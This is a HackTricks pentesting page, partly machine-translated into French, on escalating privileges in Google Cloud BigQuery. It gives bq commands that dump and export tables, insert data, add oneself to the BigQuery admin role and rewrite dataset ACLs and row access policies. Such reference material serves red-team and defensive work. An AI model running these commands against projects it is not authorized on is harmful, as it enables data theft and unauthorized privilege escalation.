GCP - BigQuery Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

BigQuery

Pour plus d'informations sur BigQuery, consultez :

pageGCP - Bigquery Enum

Lire la table

En lisant les informations stockées dans une table BigQuery, il pourrait être possible de trouver des informations sensibles. Pour accéder aux informations, les autorisations nécessaires sont bigquery.tables.get, bigquery.jobs.create et bigquery.tables.getData :

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Exportation de données

C'est une autre façon d'accéder aux données. Exportez-les dans un bucket de stockage cloud et téléchargez les fichiers avec les informations. Pour effectuer cette action, les autorisations suivantes sont nécessaires : bigquery.tables.export, bigquery.jobs.create et storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insérer des données

Il pourrait être possible d'introduire certaines données de confiance dans une table Bigquery pour exploiter une vulnérabilité ailleurs. Cela peut être facilement réalisé avec les autorisations bigquery.tables.get, bigquery.tables.updateData et bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Un attaquant pourrait abuser de ce privilège pour se donner davantage de permissions sur un ensemble de données BigQuery :

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Just this permission allows to update your access over a BigQuery dataset by modifying the ACLs that indicate who can access it:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Un attaquant pourrait abuser de ce privilège pour se donner davantage de permissions sur une table BigQuery :

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Selon la documentation, avec les autorisations mentionnées, il est possible de mettre à jour une politique de ligne. Cependant, en utilisant la CLI bq, vous avez besoin de quelques autres autorisations: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Il est possible de trouver l'ID du filtre dans la sortie de l'énumération des politiques de lignes. Exemple :

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour